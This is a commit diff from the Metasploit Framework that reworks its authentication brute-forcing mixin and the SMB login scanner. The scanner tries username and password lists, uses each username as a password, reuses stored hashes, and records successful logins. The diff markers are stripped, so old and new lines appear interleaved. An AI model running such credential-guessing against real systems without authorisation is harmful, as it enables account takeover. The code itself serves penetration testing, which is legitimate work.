update the auth bruteforcer, and use it in smb/login
git-svn-id: file:///home/svn/framework3/trunk@8116 4d416f70-5f16-0410-b530-b9f4589650daunstable
James Lee
parent
bc9985d5da
commit
54095a585e
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@ -12,8 +12,8 @@ def initialize(info = {})
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super
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register_options([
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OptPath.new('USERNAMES_FILE', [ false, "File containing usernames, one per line" ]),
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OptPath.new('PASSWORDS_FILE', [ false, "File containing passwords, one per line" ]),
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OptPath.new('USER_FILE', [ false, "File containing usernames, one per line" ]),
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OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line" ]),
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OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ])
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], Auxiliary::AuthBrute)
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@ -22,60 +22,119 @@ def initialize(info = {})
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end
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#
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# Calls the given block with usernames and passwords generated in the following way, in order:
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# * the module's next_user_pass(), if any
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# * contents of USERPASS_FILE, if any
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# * the module's next_user() combined with next_pass() and the contents of PASS_FILE
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# * contents of USER_FILE combined with the module's next_pass() and the contents of PASS_FILE
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#
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# After any invocation, the block may return
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# :next_user
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# to indicate that the current user needs no further processing and
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# brute forcing should continue with the next username or
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# :done
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# to indicate that brute forcing should end completely.
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#
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# Generator methods (next_pass, and next_user_pass) must reset their state
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# whenever they reach the end.
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#
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def each_user_pass(&block)
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#$stdout.puts("Running through users and passwords")
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if framework.db.active
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#$stdout.puts("Using db auth info")
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framework.db.get_auth_info.each { |auth_info|
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next if not auth_info.kind_of? Hash
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next if not auth_info.has_key? :user
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next if not auth_info.has_key? :pass
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block.call(auth_info[:user], auth_info[:pass])
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# First, loop through sets of user/pass combinations
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[ "next_user_pass", "_next_user_pass" ].each { |userpass_meth|
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next if not self.respond_to?(userpass_meth)
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@state = {}
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@state[:status] = nil
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while (upass = self.send(userpass_meth, @state))
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@state[:status] = block.call(upass[0], upass[1])
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case @state[:status]
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# Let the generate method deal with :next_user
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when :done; return
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end
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end
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}
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end
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#$stdout.puts("Getting userpass")
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while next_userpass
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#$stdout.puts("calling block with #{@user} : #{@pass}")
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block.call(@user, @pass)
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# Then combinatorically examine all of the separate usernames and passwords
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each_user { |user|
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# Always try the username as the password
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status = block.call(user, user)
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case status
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when :next_user; next
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when :done; return
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end
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while next_user
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#$stdout.puts("Getting user")
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while next_pass
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#$stdout.puts("calling block with #{@user} : #{@pass}")
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ret = block.call(@user, @pass)
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case ret
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each_pass(user) { |pass|
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status = block.call(user, pass)
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case status
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when :next_user; break
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when :done; return
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end
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}
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}
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end
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def each_user(&block)
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state = {}
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if self.respond_to? "next_user"
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while user = next_user(state)
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yield user
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end
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end
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while user = _next_user(state)
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yield user
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end
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end
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def each_pass(user=nil, &block)
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state = {:user => user}
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if self.respond_to? "next_pass"
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while pass = next_pass(state)
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yield pass
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end
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end
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while pass = _next_pass(state)
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yield pass
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end
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end
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protected
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def next_user
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return nil if not datastore["USERNAMES_FILE"]
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@user_fd ||= File.open(datastore["USERNAMES_FILE"], "r")
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return nil if @user_fd.eof?
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@user = @user_fd.readline
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true
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def _next_user(state)
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return nil if not datastore["USER_FILE"]
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state[:user_fd] ||= File.open(datastore["USER_FILE"], "r")
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if state[:user_fd].eof?
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state[:user_fd].close
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state[:user_fd] = nil
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return nil
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end
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def next_pass
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return nil if not datastore["PASSWORDS_FILE"]
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@user_fd ||= File.open(datastore["PASSWORDS_FILE"], "r")
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return nil if @pass_fd.eof?
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@pass = @pass_fd.readline
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true
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state[:user] = state[:user_fd].readline.strip
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return state[:user]
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end
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def next_userpass
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def _next_pass(state)
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return nil if not datastore["PASS_FILE"]
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state[:pass_fd] ||= File.open(datastore["PASS_FILE"], "r")
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if state[:pass_fd].eof?
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state[:pass_fd].close
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state[:pass_fd] = nil
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return nil
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end
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state[:pass] = state[:pass_fd].readline.strip
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return state[:pass]
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end
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def _next_user_pass(state)
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return if not datastore["USERPASS_FILE"]
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@userpass_fd ||= File.open(datastore["USERPASS_FILE"], "r")
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return nil if @userpass_fd.eof?
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line = @userpass_fd.readline
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@user, @pass = line.split(/\s+/, 2)
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@pass = "" if @pass.nil?
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true
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# Reopen the file each time so that we pick up any changes
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state[:userpass_fd] ||= File.open(datastore["USERPASS_FILE"], "r")
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if state[:userpass_fd].eof?
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state[:userpass_fd].close
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state[:userpass_fd] = nil
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return nil
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end
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line = state[:userpass_fd].readline
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state[:user], state[:pass] = line.split(/\s+/, 2)
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state[:pass] = "" if state[:pass].nil?
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state[:user].strip!
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state[:pass].strip!
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return [ state[:user], state[:pass] ]
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end
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@ -20,7 +20,11 @@ class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::SMB
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::AuthBrute
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def proto
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'smb'
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end
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def initialize
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super(
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@ -36,44 +40,102 @@ class Metasploit3 < Msf::Auxiliary
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'License' => MSF_LICENSE
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)
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deregister_options('RHOST')
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# These are normally advanced options, but for this module they have a
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# more active role, so make them regular options.
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register_options(
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[
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OptString.new('SMBPass', [ false, "SMB Password", '']),
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OptString.new('SMBUser', [ false, "SMB Username", 'Administrator']),
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OptString.new('SMBPass', [ false, "SMB Password" ]),
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OptString.new('SMBUser', [ false, "SMB Username" ]),
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OptString.new('SMBDomain', [ false, "SMB Domain", 'WORKGROUP']),
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], self.class)
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@passes = [ '' ]
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end
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def run_host(ip)
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print_status("Starting host #{ip}")
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if (datastore["SMBUser"] and not datastore["SMBUser"].empty?)
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# then just do this user/pass
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try_user_pass(datastore["SMBUser"], datastore["SMBPass"])
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else
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begin
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# Add the hosts smb name as a password to try
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connect
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smb_fingerprint
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@passes.push(simple.client.default_name) if simple.client.default_name
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disconnect
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each_user_pass { |user, pass|
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try_user_pass(user, pass)
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}
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rescue ::Rex::ConnectionError
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nil
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end
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end
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end
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def try_user_pass(user, pass)
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datastore["SMBUser"] = user
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datastore["SMBPass"] = pass
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#$stdout.puts("#{user} : #{pass}")
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# Connection problems are dealt with at a higher level
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connect()
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begin
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smb_login()
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rescue Rex::Proto::SMB::Exceptions::LoginError => e
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if(e.error_code)
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print_status("#{ip} - FAILED #{ "0x%.8x" % e.error_code } - #{e.error_reason}")
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else
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print_status("#{ip} - FAILED #{e}")
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end
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rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
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return
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end
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if(simple.client.auth_user)
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print_status("#{ip} - SUCCESSFUL LOGIN (#{smb_peer_os})")
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print_good("#{rhost} - SUCCESSFUL LOGIN (#{smb_peer_os}) #{user} : #{pass}")
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report_auth_info(
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:host => ip,
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:proto => 'SMB',
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:user => datastore['SMBUser'],
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:pass => datastore['SMBPass'],
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:targ_host => ip,
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:host => rhost,
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:proto => 'smb',
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:user => user,
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:pass => pass,
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:targ_host => rhost,
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:targ_port => datastore['RPORT']
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)
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else
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print_status("#{ip} - GUEST LOGIN (#{smb_peer_os})")
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print_status("#{rhost} - GUEST LOGIN (#{smb_peer_os}) #{user} : #{pass}")
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end
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disconnect()
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end
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return :next_user
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end
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def next_user_pass(state)
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return nil if state[:status] == :done
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if (not state[:auth_info])
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state[:auth_info] = framework.db.get_auth_info(:proto => 'smb')
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return nil if not state[:auth_info]
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state[:auth_info].delete_if { |a| not a.kind_of? Hash }
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state[:auth_info].delete_if { |a| not a.has_key? :user or not a.has_key? :hash }
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state[:idx] = 0
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end
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if state[:auth_info][state[:idx]]
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user = state[:auth_info][state[:idx]][:user]
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pass = state[:auth_info][state[:idx]][:hash]
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state[:idx] += 1
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return [ user, pass ]
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end
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return nil
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end
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def next_pass(state)
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return nil if state[:status] == :done
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return nil if state[:status] == :next_user
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if not state[:idx]
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state[:idx] = 0
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end
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pass = @passes[state[:idx]]
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state[:idx] += 1
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return pass
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end
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end
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